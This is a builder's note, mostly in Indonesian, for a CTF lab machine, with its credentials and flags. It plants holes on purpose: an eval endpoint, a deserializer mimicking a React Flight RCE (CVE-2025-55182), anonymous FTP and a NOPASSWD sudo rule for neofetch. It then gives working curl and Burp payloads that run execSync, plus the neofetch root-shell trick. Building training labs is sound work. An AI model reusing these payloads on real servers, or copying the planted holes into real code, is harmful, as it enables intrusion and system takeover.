Machine - Karbit Enjoyer

1. Machine - Karbit Enjoyer

- ga sama kayak real case aslinya sih, cuman yaudahlah

2. Creds

User - 1

- uname: ubuntu
- pass: ubuntu123

User - 2

- karbit
- bukankah2yaemangbukan

FTP :

- login anonymous

3. Services

FTP

Creds

- login anonymous

Target

- sediain wordlist buat crack pass ssh dari docker container nanti abis revshell

HTTP

CVE-2025-55182

Install

- pakai nextjs yg dah include vuln dependencies aja
- install aja :

```
npx create-next-app@14 karbit-enjoyer
cd karbit-enjoyer
```

- install dependencies yg vuln, force aja

```
npm install react@19.1.1 react-dom@19.1.1 --force
```

- cek

```
npm ls react-server-dom-webpack
```

- packages :

```
{

  "name": "karbit-enjoyer",
  "version": "0.1.0",
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start",
    "lint": "next lint"
  },
  "dependencies": {
    "lucide-react": "^0.561.0",
    "motion": "^12.23.26",
    "next": "14.2.35",
    "react": "^19.1.1",
    "react-dom": "^19.1.1",
    "react-server-dom-webpack": "^19.1.1"
  },
  "devDependencies": {
    "@types/node": "^20",
    "@types/react": "^18",
    "@types/react-dom": "^18",
    "postcss": "^8",
    "tailwindcss": "^3.4.1",
    "typescript": "^5"
  }
}
```

custom library

- di /lib buat beberapa
- /lib/resolver.ts :

```
function resolveReference(ref: string, chunks: any[]) {
  if (!ref.startsWith("$"))
    return {
      base: ref,
      path: [],
    };
  const [, rest] = ref.split("$");
  const [index, ...path] = rest.split(":");
  return {
    base: chunks[Number(index)],
    path,
  };
}

export function requireModule(chunks: any[], ref: string) {
  const resolved = resolveReference(ref, chunks);
  if (!resolved) return null;
  let obj = resolved.base;
  for (const key of resolved.path) {
    obj = obj[key];
  }
  return obj;
}
```

- /lib/flight.ts :

```
import { requireModule } from "./resolver";
export function deserializeFlight(form: FormData) {
  const chunks: any[] = [];
  chunks[0] = JSON.parse(form.get("0") as string);
  chunks[1] = "$@0";
  chunks[2] = [];
  // fake Promise.then
  if (chunks[0].then?.includes("__proto__")) {
    Object.setPrototypeOf(chunks[0], {
      then(fn: any) {
        return fn(chunks[0]);
      },
    });
  }
  const response = chunks[0]._response;
  // blob handler
  const getter = requireModule(chunks, response._formData.get);
  // getter === func
  const fn = getter(response._prefix + "1337");
  return fn();
}
```

main bug

dummy endpoint

- taruh aja di /api -> /app/api/route.ts

```
import { NextResponse } from "next/server";
export async function GET() {
  return NextResponse.json({
    message: "Keep goin!",
  });
}
```

first try

- di endpoint /api/_coba -> /app/api/_coba/route.ts

```
import { NextResponse } from "next/server";
export async function POST(req: Request) {
  const body = await req.json();
  return NextResponse.json({
    result: eval(body.code),
  });
}
```

- exploit with :

```
curl -X POST http://localhost:3000/api/_coba -H "Content-Type: application/json" -d "{\"code\":\"require('child_process').execSync('whoami').toString()\"}"
```

second try

- di endpoint /api/secret -> /app/api/secret/route.ts

- biar attacker nge brute directory duluan gitu nyari tau sendiri kalau ada /api ama /api/secret

```
import { deserializeFlight } from "@/lib/flight";
import { NextResponse } from "next/server";
export async function GET() {
  return NextResponse.json({
    rabbit: "gotcha!",
  });
}


export async function POST(req: Request) {
  const form = await req.formData();
  try {
    deserializeFlight(form);
    return new Response("OK");
  } catch (err: any) {
    if (err.digest) {
      return new Response(err.digest, { status: 500 });
    }
    return new Response(err.message, { status: 500 });
  }
}
```

- disini attacker bisa req get dulu ke api /api/secret, response beda kalau pakai method POST
- exploit with method POST
- by http burpsuite :

```
POST /api/secret HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 744
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var
res=process.mainModule.require('child_process').execSync('whoami',
{'timeout':5000}).toString().trim();;throw Object.assign(new
Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
```

- by curl :

```
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: localhost:3000' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113
Safari/537.36 Assetnote/1.0.0' -H $'Next-Action: x' -H $'X-Nextjs-Request-Id:
b5dce965' -H $'Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryx8jO2oVc6SWP3Sad' -H $'X-Nextjs-Html-Request-Id:
SSTMXm7OJ_g0Ncx6jpQt9' -H $'Content-Length: 744' \
    --data-binary $'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\x0d\x0aContent-
Disposition: form-data; name=\"0\"\x0d\x0a\x0d\x0a{\x0d\x0a  \"then\":
\"$1:__proto__:then\",\x0d\x0a  \"status\": \"resolved_model\",\x0d\x0a
\"reason\": -1,\x0d\x0a  \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\",\x0d\x0a
\"_response\": {\x0d\x0a    \"_prefix\": \"var
res=process.mainModule.require(\'child_process\').execSync(\'whoami\',
{\'timeout\':5000}).toString().trim();;throw Object.assign(new
Error(\'NEXT_REDIRECT\'), {digest:`${res}`});\",\x0d\x0a    \"_chunks\":
\"$Q2\",\x0d\x0a    \"_formData\": {\x0d\x0a      \"get\":
\"$1:constructor:constructor\"\x0d\x0a    }\x0d\x0a  }\x0d\x0a}\x0d\x0a------
WebKitFormBoundaryx8jO2oVc6SWP3Sad\x0d\x0aContent-Disposition: form-data;
name=\"1\"\x0d\x0a\x0d\x0a\"$@0\"\x0d\x0a------
WebKitFormBoundaryx8jO2oVc6SWP3Sad\x0d\x0aContent-Disposition: form-data;
name=\"2\"\x0d\x0a\x0d\x0a[]\x0d\x0a------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
```

```
' \
    $'http://127.0.0.1:3000/api/secret'
```

- then u can doing with RCE for ur shell, abis itu revshell aja

Password leak

- selipin bingo.txt, pass yg udah di hash

```
karbit:db9ceb908d6197b4db2ebdd641acfeea1b5cb5d553b0a70c8defee16888de358
```

- dia di hash sha256 dari -> bukankah2yaemangbukan

4. Privilege Escalation

SUID Binary Abuse

- download neofetch dulu aja

```
sudo apt install neofetch
```

- (kalau error)

```
E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource
temporarily unavailable)
E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is
another process using it?
```

- fix nya gini :

```
sudo killall apt apt-get
sudo rm -f /var/lib/dpkg/lock-frontend
sudo rm -f /var/lib/dpkg/lock
```

- gas edit config dari neofetch nya biar menarik, pake gambar waifu aja
- gabisa jir gatau kenapa, padahal neofetch di kitty gw bisa
- yauda gapapa next kita bikin visudo buat neofetch

```
sudo visudo
```

- set bagian ini

```
%sudo   ALL=(ALL:ALL) NOPASSWD:/usr/bin/neofetch
```

- next tinggal exploit aja

```
TF=$(mktemp)
echo 'exec /bin/sh' >$TF
sudo neofetch --config $TF
```

- dan root

5. Specs and Detail VM

name :

- ubuntu-18.04.6-live-server-amd64

Spek :

- ram: 1024mb
- cpu: 1core
- memory: 10,93GB

FTP :

- install ftp

```
sudo apt install vsftpd
```

- on in

```
sudo systemctl enable vsftpd
sudo systemctl status vsftpd
```

- config ftp buat nyalain anonymous login

```
sudo nano /etc/vsftpd.conf
```

- set di bagian ini :

```
anonymous_enable=YES
```

- restart service

```
sudo systemctl restart vsftpd
sudo systemctl status vsftpd
```

- set file to ftp path

```
cd /srv/ftp
sudo nano wl.txt
```

- masukin 10 dummy pass, nanti multiply ampe 30 an, selipin 1 real pass ssh nya

User - Karbit

- buat usernya dulu

```
sudo adduser karbit
```

- kasih password sekalian: "bukankah2yaemangbukan"
- masukin karbit ke grup sudo

```
sudo usermod -aG sudo karbit
```

- delete privilege sudo dari ubuntu

```
sudo su
sudo deluser ubuntu sudo
```

Setup docker.io for http services

- install dulu aja

```
sudo apt install docker.io
```

- start docker

```
sudo systemctl start docker
```

- setup Dockerfile :

```
FROM node:20
WORKDIR /app
COPY . .
RUN npm install --legacy-peer-deps && npx next telemetry disable
RUN npm run build
EXPOSE 3000
CMD [ "npm", "start", "--", "-H", "0.0.0.0"]
```

- setup systemd config

```
sudo vim /etc/systemd/system/karbit-enjoyer.service
```

```
[Unit]
Description=Karbit-Enjoyer
After=network-online.target docker.service
Wants=network-online.target
Requires=docker.service

[Service]
Type=simple
Restart=always
RestartSec=5
ExecStartPre=-/usr/bin/docker rm karbit-enjoyer
ExecStart=/usr/bin/docker run \
  --name karbit-enjoyer \
  -p 3000:3000 karbit-enjoyer
ExecStop=/usr/bin/docker stop karbit-enjoyer

[Install]
WantedBy=multi-user.target
```

- zip project tadi, wget aja dari ubuntu nya, terus unzip jangan lupa
- udah unzip, build Dockerfile nya sekarang di folder project

```
sudo docker build -t karbit-enjoyer .
```

Run docker image with systemd service

- run aja kalau image nya udah kepasang

```
sudo systemctl enable karbit-enjoyer
sudo systemctl start karbit-enjoyer
```

- cek http nya aja

```
http://ip:3000
```

- tes endpoint api nya di /api
- tes exploit di endpoint /api/secret, with burp payload ini

```
POST / HTTP/1.1
Host: [IP]:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var
res=process.mainModule.require('child_process').execSync('id',
{'timeout':5000}).toString().trim();;throw Object.assign(new
Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
```

```
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
```

Flag :

- user.txt: FLAG{47d30d49cbdc2af8f20d563887e72d49}
- root.txt: FLAG{ea76476154a0a2abbe9998c79bb77e6e}